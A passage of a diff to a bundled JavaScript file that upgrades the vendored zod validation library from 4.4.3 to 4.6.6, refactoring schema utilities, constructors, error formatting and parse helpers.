isValidIBAN: () => isValidIBAN, + isValidIPv6: () => isValidIPv6, isValidJWT: () => isValidJWT, locales: () => locales_exports, + memoizer: () => memoizer, + mergeValues: () => mergeValues, meta: () => meta, parse: () => parse, parseAsync: () => parseAsync, + parseURLObject: () => parseURLObject, prettifyError: () => prettifyError, - process: () => process2, + process: () => processSchema, + processSchema: () => processSchema, regexes: () => regexes_exports, registry: () => registry, safeDecode: () => safeDecode, @@ -55239,94 +55288,27 @@ __export(core_exports2, { safeEncodeAsync: () => safeEncodeAsync, safeParse: () => safeParse, safeParseAsync: () => safeParseAsync, + standardProps: () => standardProps, + stripTabAndNewline: () => stripTabAndNewline, toDotPath: () => toDotPath, toJSONSchema: () => toJSONSchema, + toZod: () => toZod, treeifyError: () => treeifyError, + urlHostnameOk: () => urlHostnameOk, + urlProtocolOk: () => urlProtocolOk, util: () => util_exports, - version: () => version + validate: () => validate, + validateAsync: () => validateAsync, + validateURL: () => validateURL, + version: () => version, + withParser: () => withParser }); -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/core.js -var _a; -var NEVER = /* @__PURE__ */ Object.freeze({ - status: "aborted" -}); -// @__NO_SIDE_EFFECTS__ -function $constructor(name, initializer3, params) { - function init(inst, def) { - if (!inst._zod) { - Object.defineProperty(inst, "_zod", { - value: { - def, - constr: _, - traits: /* @__PURE__ */ new Set() - }, - enumerable: false - }); - } - if (inst._zod.traits.has(name)) { - return; - } - inst._zod.traits.add(name); - initializer3(inst, def); - const proto = _.prototype; - const keys = Object.keys(proto); - for (let i = 0; i < keys.length; i++) { - const k = keys[i]; - if (!(k in inst)) { - inst[k] = proto[k].bind(inst); - } - } - } - const Parent = params?.Parent ?? Object; - class Definition extends Parent { - } - Object.defineProperty(Definition, "name", { value: name }); - function _(def) { - var _a3; - const inst = params?.Parent ? new Definition() : this; - init(inst, def); - (_a3 = inst._zod).deferred ?? (_a3.deferred = []); - for (const fn of inst._zod.deferred) { - fn(); - } - return inst; - } - Object.defineProperty(_, "init", { value: init }); - Object.defineProperty(_, Symbol.hasInstance, { - value: (inst) => { - if (params?.Parent && inst instanceof params.Parent) - return true; - return inst?._zod?.traits?.has(name); - } - }); - Object.defineProperty(_, "name", { value: name }); - return _; -} -var $brand = Symbol("zod_brand"); -var $ZodAsyncError = class extends Error { - constructor() { - super(`Encountered Promise during synchronous parse. Use .parseAsync() instead.`); - } -}; -var $ZodEncodeError = class extends Error { - constructor(name) { - super(`Encountered unidirectional transform during encode: ${name}`); - this.name = "ZodEncodeError"; - } -}; -(_a = globalThis).__zod_globalConfig ?? (_a.__zod_globalConfig = {}); -var globalConfig = globalThis.__zod_globalConfig; -function config(newConfig) { - if (newConfig) - Object.assign(globalConfig, newConfig); - return globalConfig; -} - -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/util.js +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/util.js var util_exports = {}; __export(util_exports, { BIGINT_FORMAT_RANGES: () => BIGINT_FORMAT_RANGES, + CONSTANT_CATCH: () => CONSTANT_CATCH, Class: () => Class, NUMBER_FORMAT_RANGES: () => NUMBER_FORMAT_RANGES, aborted: () => aborted, @@ -55337,6 +55319,7 @@ __export(util_exports, { assertNever: () => assertNever, assertNotEqual: () => assertNotEqual, assignProp: () => assignProp, + attachSchema: () => attachSchema, base64ToUint8Array: () => base64ToUint8Array, base64urlToUint8Array: () => base64urlToUint8Array, cached: () => cached, @@ -55345,8 +55328,12 @@ __export(util_exports, { cleanRegex: () => cleanRegex, clone: () => clone, cloneDef: () => cloneDef, + codePointLength: () => codePointLength, + constantCatch: () => constantCatch, createTransparentProxy: () => createTransparentProxy, defineLazy: () => defineLazy, + defineLazyInternal: () => defineLazyInternal, + derived: () => derived, esc: () => esc, escapeRegex: () => escapeRegex, explicitlyAborted: () => explicitlyAborted, @@ -55359,11 +55346,14 @@ __export(util_exports, { getParsedType: () => getParsedType, getSizableOrigin: () => getSizableOrigin, hexToUint8Array: () => hexToUint8Array, + hide: () => hide, + installLazyProp: () => installLazyProp, isObject: () => isObject2, isPlainObject: () => isPlainObject, issue: () => issue, joinValues: () => joinValues, jsonStringifyReplacer: () => jsonStringifyReplacer, + members: () => members, merge: () => merge, mergeDefs: () => mergeDefs, normalizeParams: () => normalizeParams, @@ -55372,6 +55362,7 @@ __export(util_exports, { objectClone: () => objectClone, omit: () => omit, optionalKeys: () => optionalKeys, + own: () => own, parsedType: () => parsedType, partial: () => partial, pick: () => pick, @@ -55380,11 +55371,14 @@ __export(util_exports, { promiseAllObject: () => promiseAllObject, propertyKeyTypes: () => propertyKeyTypes, randomString: () => randomString, + rawShape: () => rawShape, required: () => required, safeExtend: () => safeExtend, shallowClone: () => shallowClone, + sizeCaps: () => sizeCaps, slugify: () => slugify, stringifyPrimitive: () => stringifyPrimitive, + toZod: () => toZod, uint8ArrayToBase64: () => uint8ArrayToBase64, uint8ArrayToBase64url: () => uint8ArrayToBase64url, uint8ArrayToHex: () => uint8ArrayToHex, @@ -55396,6 +55390,9 @@ function assertEqual(val) { function assertNotEqual(val) { return val; } +function toZod() { + return (schema) => schema; +} function assertIs(_arg) { } function assertNever(_x) { @@ -55416,21 +55413,25 @@ function jsonStringifyReplacer(_, value) { return value.toString(); return value; } -function cached(getter) { - const set2 = false; - return { - get value() { - if (!set2) { - const value = getter(); - Object.defineProperty(this, "value", { value }); - return value; - } - throw new Error("cached value already set"); +var Cached = class { + constructor(getter) { + this._getter = getter; + this._value = void 0; + } + get value() { + const getter = this._getter; + if (getter !== void 0) { + this._value = getter(); + this._getter = void 0; } - }; + return this._value; + } +}; +function cached(getter) { + return new Cached(getter); } -function nullish(input) { - return input === null || input === void 0; +function nullish(input2) { + return input2 === null || input2 === void 0; } function cleanRegex(source) { const start = source.startsWith("^") ? 1 : 0; @@ -55440,7 +55441,7 @@ function cleanRegex(source) { function floatSafeRemainder(val, step) { const ratio = val / step; const roundedRatio = Math.round(ratio); - const tolerance = Number.EPSILON * Math.max(Math.abs(ratio), 1); + const tolerance = 4 * Number.EPSILON * Math.max(Math.abs(ratio), 1); if (Math.abs(ratio - roundedRatio) < tolerance) return 0; return ratio - roundedRatio; @@ -55479,6 +55480,56 @@ function assignProp(target, prop, value) { configurable: true }); } +function rawShape(def) { + const desc2 = Object.getOwnPropertyDescriptor(def, "shape"); + return desc2?.get ? desc2.get.raw : desc2?.value; +} +function sourceShape(schema) { + return rawShape(schema._zod.def) ?? schema._zod.def.shape; +} +function deferProp(target, key, getter) { + Object.defineProperty(target, key, { + get() { + const value = getter(); + assignProp(this, key, value); + return value; + }, + enumerable: true, + configurable: true + }); +} +function putProp(target, key, value) { + if (key in target) + assignProp(target, key, value); + else + target[key] = value; +} +function mirrorShape(target, source, keys, wrap) { + const raw = sourceShape(source); + for (const key of keys) { + const desc2 = Object.getOwnPropertyDescriptor(raw, key); + if (!desc2.enumerable) + continue; + if (desc2.get) { + deferProp(target, key, () => { + const value = source._zod.def.shape[key]; + return wrap ? wrap(value, key) : value; + }); + } else + putProp(target, key, wrap ? wrap(desc2.value, key) : desc2.value); + } +} +function mirrorProps(target, source) { + for (const key of Reflect.ownKeys(source)) { + const desc2 = Object.getOwnPropertyDescriptor(source, key); + if (!desc2.enumerable) + continue; + if (desc2.get) + deferProp(target, key, () => source[key]); + else + putProp(target, key, desc2.value); + } +} function mergeDefs(...defs) { const mergedDescriptors = {}; for (const def of defs) { @@ -55517,8 +55568,8 @@ function randomString(length = 10) { function esc(str) { return JSON.stringify(str); } -function slugify(input) { - return input.toLowerCase().trim().replace(/[^\w\s-]/g, "").replace(/[\s_-]+/g, "-").replace(/^-+|-+$/g, ""); +function slugify(input2) { + return input2.toLowerCase().trim().replace(/[^\w\s-]/g, "").replace(/[\s_-]+/g, "-").replace(/^-+|-+$/g, ""); } var captureStackTrace = "captureStackTrace" in Error ? Error.captureStackTrace : (..._args) => { }; @@ -55696,16 +55747,16 @@ function stringifyPrimitive(value) { } function optionalKeys(shape) { return Object.keys(shape).filter((k) => { - return shape[k]._zod.optin === "optional" && shape[k]._zod.optout === "optional"; + return shape[k]._zod.optin !== void 0 && shape[k]._zod.optout === "optional"; }); } -var NUMBER_FORMAT_RANGES = { +var NUMBER_FORMAT_RANGES = /* @__PURE__ */ (() => ({ safeint: [Number.MIN_SAFE_INTEGER, Number.MAX_SAFE_INTEGER], int32: [-2147483648, 2147483647], uint32: [0, 4294967295], float32: [-34028234663852886e22, 34028234663852886e22], float64: [-Number.MAX_VALUE, Number.MAX_VALUE] -}; +}))(); var BIGINT_FORMAT_RANGES = { int64: [/* @__PURE__ */ BigInt("-9223372036854775808"), /* @__PURE__ */ BigInt("9223372036854775807")], uint64: [/* @__PURE__ */ BigInt(0), /* @__PURE__ */ BigInt("18446744073709551615")] @@ -55717,23 +55768,21 @@ function pick(schema, mask) { if (hasChecks) { throw new Error(".pick() cannot be used on object schemas containing refinements"); } - const def = mergeDefs(schema._zod.def, { - get shape() { - const newShape = {}; - for (const key in mask) { - if (!(key in currDef.shape)) { - throw new Error(`Unrecognized key: "${key}"`); - } - if (!mask[key]) - continue; - newShape[key] = currDef.shape[key]; - } - assignProp(this, "shape", newShape); - return newShape; - }, - checks: [] - }); - return clone(schema, def); + const newShape = {}; + mirrorShape(newShape, schema, maskedKeys(schema, mask)); + return clone(schema, mergeDefs(currDef, { shape: newShape, checks: [] })); +} +function maskedKeys(schema, mask) { + const raw = sourceShape(schema); + const keys = []; + for (const key of Reflect.ownKeys(mask)) { + if (!Object.getOwnPropertyDescriptor(raw, key)?.enumerable) { + throw new Error(`Unrecognized key: "${String(key)}"`); + } + if (mask[key]) + keys.push(key); + } + return keys; } function omit(schema, mask) { const currDef = schema._zod.def; @@ -55742,23 +55791,10 @@ function omit(schema, mask) { if (hasChecks) { throw new Error(".omit() cannot be used on object schemas containing refinements"); } - const def = mergeDefs(schema._zod.def, { - get shape() { - const newShape = { ...schema._zod.def.shape }; - for (const key in mask) { - if (!(key in currDef.shape)) { - throw new Error(`Unrecognized key: "${key}"`); - } - if (!mask[key]) - continue; - delete newShape[key]; - } - assignProp(this, "shape", newShape); - return newShape; - }, - checks: [] - }); - return clone(schema, def); + const omitted = new Set(maskedKeys(schema, mask)); + const newShape = {}; + mirrorShape(newShape, schema, Reflect.ownKeys(sourceShape(schema)).filter((key) => !omitted.has(key))); + return clone(schema, mergeDefs(currDef, { shape: newShape, checks: [] })); } function extend(schema, shape) { if (!isPlainObject(shape)) { @@ -55767,45 +55803,39 @@ function extend(schema, shape) { const checks = schema._zod.def.checks; const hasChecks = checks && checks.length > 0; if (hasChecks) { - const existingShape = schema._zod.def.shape; - for (const key in shape) { + const existingShape = sourceShape(schema); + for (const key of Reflect.ownKeys(shape)) { if (Object.getOwnPropertyDescriptor(existingShape, key) !== void 0) { throw new Error("Cannot overwrite keys on object schemas containing refinements. Use `.safeExtend()` instead."); } } } - const def = mergeDefs(schema._zod.def, { - get shape() { - const _shape = { ...schema._zod.def.shape, ...shape }; - assignProp(this, "shape", _shape); - return _shape; - } - }); - return clone(schema, def); + return clone(schema, mergeDefs(schema._zod.def, { shape: extended(schema, shape) })); +} +function extended(schema, shape) { + const newShape = {}; + mirrorShape(newShape, schema, Reflect.ownKeys(sourceShape(schema))); + mirrorProps(newShape, shape); + return newShape; } function safeExtend(schema, shape) { if (!isPlainObject(shape)) { throw new Error("Invalid input to safeExtend: expected a plain object"); } - const def = mergeDefs(schema._zod.def, { - get shape() { - const _shape = { ...schema._zod.def.shape, ...shape }; - assignProp(this, "shape", _shape); - return _shape; - } - }); - return clone(schema, def); + return clone(schema, mergeDefs(schema._zod.def, { shape: extended(schema, shape) })); } function merge(a, b2) { + if (!b2?._zod?.def) { + throw new Error("Invalid input to merge: expected an object schema. To merge a plain shape, use `.extend()`."); + } if (a._zod.def.checks?.length) { throw new Error(".merge() cannot be used on object schemas containing refinements. Use .safeExtend() instead."); } + const newShape = {}; + mirrorShape(newShape, a, Reflect.ownKeys(sourceShape(a))); + mirrorShape(newShape, b2, Reflect.ownKeys(sourceShape(b2))); const def = mergeDefs(a._zod.def, { - get shape() { - const _shape = { ...a._zod.def.shape, ...b2._zod.def.shape }; - assignProp(this, "shape", _shape); - return _shape; - }, + shape: newShape, get catchall() { return b2._zod.def.catchall; }, @@ -55813,74 +55843,26 @@ function merge(a, b2) { }); return clone(a, def); } -function partial(Class2, schema, mask) { +function partial(Class2, schema, mask, name = "partial") { const currDef = schema._zod.def; const checks = currDef.checks; const hasChecks = checks && checks.length > 0; if (hasChecks) { - throw new Error(".partial() cannot be used on object schemas containing refinements"); - } - const def = mergeDefs(schema._zod.def, { - get shape() { - const oldShape = schema._zod.def.shape; - const shape = { ...oldShape }; - if (mask) { - for (const key in mask) { - if (!(key in oldShape)) { - throw new Error(`Unrecognized key: "${key}"`); - } - if (!mask[key]) - continue; - shape[key] = Class2 ? new Class2({ - type: "optional", - innerType: oldShape[key] - }) : oldShape[key]; - } - } else { - for (const key in oldShape) { - shape[key] = Class2 ? new Class2({ - type: "optional", - innerType: oldShape[key] - }) : oldShape[key]; - } - } - assignProp(this, "shape", shape); - return shape; - }, - checks: [] - }); - return clone(schema, def); + throw new Error(`.${name}() cannot be used on object schemas containing refinements`); + } + const selected = mask ? new Set(maskedKeys(schema, mask)) : void 0; + const newShape = {}; + mirrorShape(newShape, schema, Reflect.ownKeys(sourceShape(schema)), Class2 && ((value, key) => selected && !selected.has(key) ? value : new Class2({ type: "optional", innerType: value }))); + return clone(schema, mergeDefs(schema._zod.def, { shape: newShape, checks: [] })); } function required(Class2, schema, mask) { - const def = mergeDefs(schema._zod.def, { - get shape() { - const oldShape = schema._zod.def.shape; - const shape = { ...oldShape }; - if (mask) { - for (const key in mask) { - if (!(key in shape)) { - throw new Error(`Unrecognized key: "${key}"`); - } - if (!mask[key]) - continue; - shape[key] = new Class2({ - type: "nonoptional", - innerType: oldShape[key] - }); - } - } else { - for (const key in oldShape) { - shape[key] = new Class2({ - type: "nonoptional", - innerType: oldShape[key] - }); - } - } - assignProp(this, "shape", shape); - return shape; - } - }); - return clone(schema, def); + const selected = mask ? new Set(maskedKeys(schema, mask)) : void 0; + const newShape = {}; + mirrorShape(newShape, schema, Reflect.ownKeys(sourceShape(schema)), (value, key) => ( + // overwrite with non-optional + selected && !selected.has(key) ? value : new Class2({ type: "nonoptional", innerType: value }) + )); + return clone(schema, mergeDefs(schema._zod.def, { shape: newShape })); } function aborted(x, startIndex = 0) { if (x.aborted === true) @@ -55913,29 +55895,75 @@ function prefixIssues(path, issues) { function unwrapMessage(message2) { return typeof message2 === "string" ? message2 : message2?.message; } +function sizeCaps(defChecks) { + const caps = []; + for (const ch of defChecks ?? []) { + const d = ch._zod.def; + if (!/_(length|size)$|_equals$/.test(d.check)) + break; + const max = d.maximum ?? d.length ?? d.size; + if (max >= 0) + caps.push([max, ch]); + } + return caps; +} +function attachSchema(issues, start, inst) { + var _a3; + for (let i = start; i < issues.length; i++) { + (_a3 = issues[i]).schema ?? (_a3.schema = inst); + } +} function finalizeIssue(iss, ctx, config2) { - const message2 = iss.message ? iss.message : unwrapMessage(iss.inst?._zod.def?.error?.(iss)) ?? unwrapMessage(ctx?.error?.(iss)) ?? unwrapMessage(config2.customError?.(iss)) ?? unwrapMessage(config2.localeError?.(iss)) ?? "Invalid input"; - const { inst: _inst, continue: _continue, input: _input, ...rest } = iss; - rest.path ?? (rest.path = []); - rest.message = message2; + var _a3; + const traits = iss.inst?._zod?.traits; + if (traits?.has("$ZodType")) { + if (traits.has("$ZodCheck")) + (_a3 = iss).schema ?? (_a3.schema = iss.inst); + else + iss.schema = iss.inst; + } + const schemaError = iss.schema !== iss.inst ? iss.schema?._zod.def?.error : void 0; + const message2 = iss.message ? iss.message : unwrapMessage(iss.inst?._zod.def?.error?.(iss)) ?? unwrapMessage(schemaError?.(iss)) ?? unwrapMessage(ctx?.error?.(iss)) ?? unwrapMessage(config2.customError?.(iss)) ?? unwrapMessage(config2.localeError?.(iss)) ?? "Invalid input"; + const full = {}; + for (const k of Object.keys(iss)) { + if (k === "inst" || k === "schema" || k === "continue" || k === "input" || k === "__proto__") + continue; + full[k] = iss[k]; + } + full.path ?? (full.path = []); + full.message = message2; if (ctx?.reportInput) { - rest.input = _input; + full.input = iss.input; } - return rest; + return full; } -function getSizableOrigin(input) { - if (input instanceof Set) +function getSizableOrigin(input2) { + if (input2 instanceof Set) return "set"; - if (input instanceof Map) + if (input2 instanceof Map) return "map"; - if (input instanceof File) + if (input2 instanceof File) return "file"; return "unknown"; } -function getLengthableOrigin(input) { - if (Array.isArray(input)) +var highSurrogate = /[\uD800-\uDBFF]/; +function codePointLength(str) { + const units = str.length; + if (!highSurrogate.test(str)) + return units; + let count = units; + for (let i = 0; i < units - 1; i++) { + if ((str.charCodeAt(i) & 64512) === 55296 && (str.charCodeAt(i + 1) & 64512) === 56320) { + count--; + i++; + } + } + return count; +} +function getLengthableOrigin(input2) { + if (Array.isArray(input2)) return "array"; - if (typeof input === "string") + if (typeof input2 === "string") return "string"; return "unknown"; } @@ -55961,12 +55989,12 @@ function parsedType(data) { return t; } function issue(...args) { - const [iss, input, inst] = args; + const [iss, input2, inst] = args; if (typeof iss === "string") { return { message: iss, code: "custom", - input, + input: input2, inst }; } @@ -56018,43 +56046,312 @@ var Class = class { constructor(..._args) { } }; - -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/errors.js -var initializer = (inst, def) => { - inst.name = "$ZodError"; - Object.defineProperty(inst, "_zod", { - value: inst._zod, - enumerable: false +function members(proto, table2) { + for (const key in table2) { + const desc2 = Object.getOwnPropertyDescriptor(table2, key); + if (desc2.get) + Object.defineProperty(proto, key, { ...desc2, enumerable: false }); + else + defineBound(proto, key, desc2.value); + } +} +function own(inst, key, value, enumerable = true) { + Object.defineProperty(inst, key, { configurable: true, writable: true, enumerable, value }); + return value; +} +function hide(inst, key, value) { + return own(inst, key, value, false); +} +// @__NO_SIDE_EFFECTS__ +function derived(computes, table2) { + for (const key in computes) { + const compute = computes[key]; + Object.defineProperty(table2, key, { + configurable: true, + enumerable: true, + get() { + return own(this, key, compute(this)); + }, + set(value) { + own(this, key, value); + } + }); + } + return table2; +} +function defineBound(proto, key, fn) { + Object.defineProperty(proto, key, { + configurable: true, + get() { + return this == null ? fn : own(this, key, fn.bind(this)); + }, + set(value) { + own(this, key, value); + } }); - Object.defineProperty(inst, "issues", { - value: def, - enumerable: false +} +function claim(inst, sentinel) { + const proto = Object.getPrototypeOf(inst); + return sentinel in proto ? void 0 : proto; +} +var installing; +var broke = false; +var breaker = { + configurable: true, + get() { + broke = true; + return void 0; + } +}; +function defineLazyInternal(inst, key, compute) { + const proto = Object.getPrototypeOf(inst._zod); + if (key in proto && installing !== inst._zod) { + installing = void 0; + return; + } + installing = inst._zod; + Object.defineProperty(proto, key, { + configurable: true, + get() { + Object.defineProperty(this, key, breaker); + const outer = broke; + broke = false; + try { + const value = compute(this); + if (broke) + delete this[key]; + else + Object.defineProperty(this, key, { configurable: true, writable: true, value }); + broke = broke || outer; + return value; + } catch (err) { + delete this[key]; + broke = broke || outer; + throw err; + } + }, + set(value) { + Object.defineProperty(this, key, { configurable: true, writable: true, value }); + } }); - inst.message = JSON.stringify(def, jsonStringifyReplacer, 2); - Object.defineProperty(inst, "toString", { - value: () => inst.message, - enumerable: false +} +function installLazyProp(inst, key, make, enumerable) { + const proto = claim(inst, key); + if (!proto) + return; + Object.defineProperty(proto, key, { + configurable: true, + get() { + const desc2 = { configurable: true, writable: true, enumerable, value: void 0 }; + Object.defineProperty(this, key, desc2); + desc2.value = make(this); + Object.defineProperty(this, key, desc2); + return desc2.value; + }, + set(value) { + Object.defineProperty(this, key, { configurable: true, writable: true, enumerable, value }); + } }); +} +var CONSTANT_CATCH = "~constantCatch"; +function constantCatch(value) { + const fn = () => value; + fn[CONSTANT_CATCH] = true; + return fn; +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/core.js +var _a; +var NEVER = /* @__PURE__ */ Object.freeze({ + status: "aborted" +}); +var _zodDesc = { value: void 0, enumerable: false }; +var _E = "captureStackTrace" in Error ? Error : null; +function newError(Definition) { + const E = _E; + if (E) { + const saved = E.stackTraceLimit; + if (typeof saved === "number") { + try { + E.stackTraceLimit = 0; + } catch { + _E = null; + return new Definition(); + } + try { + return new Definition(); + } finally { + E.stackTraceLimit = saved; + } + } + } + return new Definition(); +} +// @__NO_SIDE_EFFECTS__ +function $constructor(name, initializer3, proto, params) { + const zodProto = {}; + function Internals(def) { + this.def = def; + this.constr = _; + this.traits = /* @__PURE__ */ new Set(); + } + Internals.prototype = zodProto; + const protoMembers = proto; + const initialized = protoMembers && /* @__PURE__ */ new WeakSet(); + function init(inst, def) { + if (!inst._zod) { + _zodDesc.value = new Internals(def); + try { + Object.defineProperty(inst, "_zod", _zodDesc); + } finally { + _zodDesc.value = void 0; + } + } else if (inst._zod.traits.has(name)) { + return; + } + inst._zod.traits.add(name); + initializer3(inst, def); + if (initialized) { + const own2 = Object.getPrototypeOf(inst); + const ctorProto = inst._zod.constr.prototype; + let up = own2; + while (up && up !== ctorProto) + up = Object.getPrototypeOf(up); + const target = up ?? own2; + if (!initialized.has(target)) { + initialized.add(target); + members(target, protoMembers); + } + } + const proto2 = _.prototype; + for (const k in proto2) { + if (!Object.prototype.hasOwnProperty.call(proto2, k)) + continue; + if (!(k in inst)) { + inst[k] = proto2[k].bind(inst); + } + } + } + const Parent = params?.Parent ?? Object; + class Definition extends Parent { + } + Object.defineProperty(Definition, "name", { value: name }); + function _(def) { + const inst = params?.Parent ? newError(Definition) : this; + init(inst, def); + const deferred = inst._zod.deferred; + if (deferred) { + for (const fn of deferred) { + fn(); + } + inst._zod.deferred = void 0; + } + const pp = globalThis.__zod_globalConfig?.postProcessor; + if (pp) + pp(inst); + return inst; + } + Object.defineProperty(_, "init", { value: init }); + Object.defineProperty(_, Symbol.hasInstance, { + value: (inst) => { + if (params?.Parent && inst instanceof params.Parent) + return true; + return inst?._zod?.traits?.has(name); + } + }); + Object.defineProperty(_, "name", { value: name }); + return _; +} +var $brand = /* @__PURE__ */ Symbol("zod_brand"); +var $ZodAsyncError = class extends Error { + constructor() { + super(`Encountered Promise during synchronous parse. Use .parseAsync() instead.`); + } +}; +var $ZodEncodeError = class extends Error { + constructor(name) { + super(`Encountered unidirectional transform during encode: ${name}`); + this.name = "ZodEncodeError"; + } +}; +(_a = globalThis).__zod_globalConfig ?? (_a.__zod_globalConfig = {}); +var globalConfig = globalThis.__zod_globalConfig; +function config(newConfig) { + if (newConfig) + Object.assign(globalConfig, newConfig); + return globalConfig; +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/errors.js +function _getMessage() { + const internals = this._zod; + internals.message ?? (internals.message = JSON.stringify(internals.def, jsonStringifyReplacer, 2)); + return internals.message; +} +function _setMessage(value) { + this._zod.message = value; +} +var _messageDesc = { + get: _getMessage, + set: _setMessage, + enumerable: true, + configurable: true +}; +var _issuesDesc = { value: void 0, enumerable: false }; +var _installedToString = /* @__PURE__ */ new WeakSet([Object.prototype, Error.prototype]); +var initializer = (inst, def) => { + inst.name = "$ZodError"; + _issuesDesc.value = def; + Object.defineProperty(inst, "issues", _issuesDesc); + _issuesDesc.value = void 0; + Object.defineProperty(inst, "message", _messageDesc); + const proto = Object.getPrototypeOf(inst); + if (!_installedToString.has(proto)) { + _installedToString.add(proto); + Object.defineProperty(proto, "toString", { + configurable: true, + enumerable: false, + get() { + const value = () => this.message; + Object.defineProperty(this, "toString", { value, configurable: true, writable: true }); + return value; + }, + set(value) { + Object.defineProperty(this, "toString", { value, configurable: true, writable: true }); + } + }); + } }; var $ZodError = $constructor("$ZodError", initializer); -var $ZodRealError = $constructor("$ZodError", initializer, { Parent: Error }); -function flattenError(error51, mapper = (issue2) => issue2.message) { +var $ZodRealError = $constructor("$ZodError", initializer, void 0, { + Parent: Error +}); +function node(obj, key, make) { + if (!Object.prototype.hasOwnProperty.call(obj, key)) { + if (key === "__proto__") { + Object.defineProperty(obj, key, { value: make(), writable: true, enumerable: true, configurable: true }); + } else { + obj[key] = make(); + } + } + return obj[key]; +} +function flattenError(error62, mapper = (issue2) => issue2.message) { const fieldErrors = {}; const formErrors = []; - for (const sub of error51.issues) { + for (const sub of error62.issues) { if (sub.path.length > 0) { - fieldErrors[sub.path[0]] = fieldErrors[sub.path[0]] || []; - fieldErrors[sub.path[0]].push(mapper(sub)); + node(fieldErrors, sub.path[0], () => []).push(mapper(sub)); } else { formErrors.push(mapper(sub)); } } return { formErrors, fieldErrors }; } -function formatError(error51, mapper = (issue2) => issue2.message) { +function formatError(error62, mapper = (issue2) => issue2.message) { const fieldErrors = { _errors: [] }; - const processError = (error52, path = []) => { - for (const issue2 of error52.issues) { + const processError = (error63, path = []) => { + for (const issue2 of error63.issues) { if (issue2.code === "invalid_union" && issue2.errors.length) { issue2.errors.map((issues) => processError({ issues }, [...path, ...issue2.path])); } else if (issue2.code === "invalid_key") { @@ -56071,27 +56368,39 @@ function formatError(error51, mapper = (issue2) => issue2.message) { while (i < fullpath.length) { const el = fullpath[i]; const terminal = i === fullpath.length - 1; - if (!terminal) { - curr[el] = curr[el] || { _errors: [] }; - } else { - curr[el] = curr[el] || { _errors: [] }; - curr[el]._errors.push(mapper(issue2)); + if (el === "_errors") { + if (terminal) + curr._errors.push(mapper(issue2)); + i++; + continue; + } + if (!Object.prototype.hasOwnProperty.call(curr, el)) { + Object.defineProperty(curr, el, { + value: { _errors: [] }, + enumerable: true, + writable: true, + configurable: true + }); } - curr = curr[el]; + const node2 = curr[el]; + if (terminal) { + node2._errors.push(mapper(issue2)); + } + curr = node2; i++; } } } } }; - processError(error51); + processError(error62); return fieldErrors; } -function treeifyError(error51, mapper = (issue2) => issue2.message) { +function treeifyError(error62, mapper = (issue2) => issue2.message) { const result = { errors: [] }; - const processError = (error52, path = []) => { - var _a3, _b; - for (const issue2 of error52.issues) { + const processError = (error63, path = []) => { + var _a3; + for (const issue2 of error63.issues) { if (issue2.code === "invalid_union" && issue2.errors.length) { issue2.errors.map((issues) => processError({ issues }, [...path, ...issue2.path])); } else if (issue2.code === "invalid_key") { @@ -56111,11 +56420,18 @@ function treeifyError(error51, mapper = (issue2) => issue2.message) { const terminal = i === fullpath.length - 1; if (typeof el === "string") { curr.properties ?? (curr.properties = {}); - (_a3 = curr.properties)[el] ?? (_a3[el] = { errors: [] }); + if (!Object.prototype.hasOwnProperty.call(curr.properties, el)) { + Object.defineProperty(curr.properties, el, { + value: { errors: [] }, + enumerable: true, + writable: true, + configurable: true + }); + } curr = curr.properties[el]; } else { curr.items ?? (curr.items = []); - (_b = curr.items)[el] ?? (_b[el] = { errors: [] }); + (_a3 = curr.items)[el] ?? (_a3[el] = { errors: [] }); curr = curr.items[el]; } if (terminal) { @@ -56126,7 +56442,7 @@ function treeifyError(error51, mapper = (issue2) => issue2.message) { } } }; - processError(error51); + processError(error62); return result; } function toDotPath(_path) { @@ -56147,9 +56463,9 @@ function toDotPath(_path) { } return segs.join(""); } -function prettifyError(error51) { +function prettifyError(error62) { const lines = []; - const issues = [...error51.issues].sort((a, b2) => (a.path ?? []).length - (b2.path ?? []).length); + const issues = [...error62.issues].sort((a, b2) => (a.path ?? []).length - (b2.path ?? []).length); for (const issue2 of issues) { lines.push(`\u2716 ${issue2.message}`); if (issue2.path?.length) @@ -56158,32 +56474,41 @@ function prettifyError(error51) { return lines.join("\n"); } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/parse.js -var _parse = (_Err) => (schema, value, _ctx, _params) => { - const ctx = _ctx ? { ..._ctx, async: false } : { async: false }; - const result = schema._zod.run({ value, issues: [] }, ctx); - if (result instanceof Promise) { - throw new $ZodAsyncError(); - } - if (result.issues.length) { - const e = new (_params?.Err ?? _Err)(result.issues.map((iss) => finalizeIssue(iss, ctx, config()))); - captureStackTrace(e, _params?.callee); - throw e; - } - return result.value; +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/core/parse.js +function finalizeParams(callee, params) { + return { callee: params?.callee ?? callee, Err: params?.Err }; +} +var _parse = (_Err) => { + const fn = (schema, value, _ctx, _params) => { + const ctx = _ctx ? { ..._ctx, async: false } : { async: false }; + const result = schema._zod.run({ value, issues: [] }, ctx); + if (result instanceof Promise) { + throw new $ZodAsyncError(); + } + if (result.issues.length) { + const e = new (_params?.Err ?? _Err)(result.issues.map((iss) => finalizeIssue(iss, ctx, config()))); + captureStackTrace(e, _params?.callee ?? fn); + throw e; + } + return result.value; + }; + return fn; }; var parse = /* @__PURE__ */ _parse($ZodRealError); -var _parseAsync = (_Err) => async (schema, value, _ctx, params) => { - const ctx = _ctx ? { ..._ctx, async: true } : { async: true }; - let result = schema._zod.run({ value, issues: [] }, ctx); - if (result instanceof Promise) - result = await result; - if (result.issues.length) { - const e = new (params?.Err ?? _Err)(result.issues.map((iss) => finalizeIssue(iss, ctx, config()))); - captureStackTrace(e, params?.callee); - throw e; - } - return result.value; +var _parseAsync = (_Err) => { + const fn = async (schema, value, _ctx, params) => { + const ctx = _ctx ? { ..._ctx, async: true } : { async: true }; + let result = schema._zod.run({ value, issues: [] }, ctx); + if (result instanceof Promise) + result = await result; + if (result.issues.length) { + const e = new (params?.Err ?? _Err)(result.issues.map((iss) => finalizeIssue(iss, ctx, config()))); + captureStackTrace(e, params?.callee ?? fn); + throw e; + } + return result.value; + }; + return fn; }; var parseAsync = /* @__PURE__ */ _parseAsync($ZodRealError); var _safeParse = (_Err) => (schema, value, _ctx) => { @@ -56192,39 +56517,102 @@ var _safeParse = (_Err) => 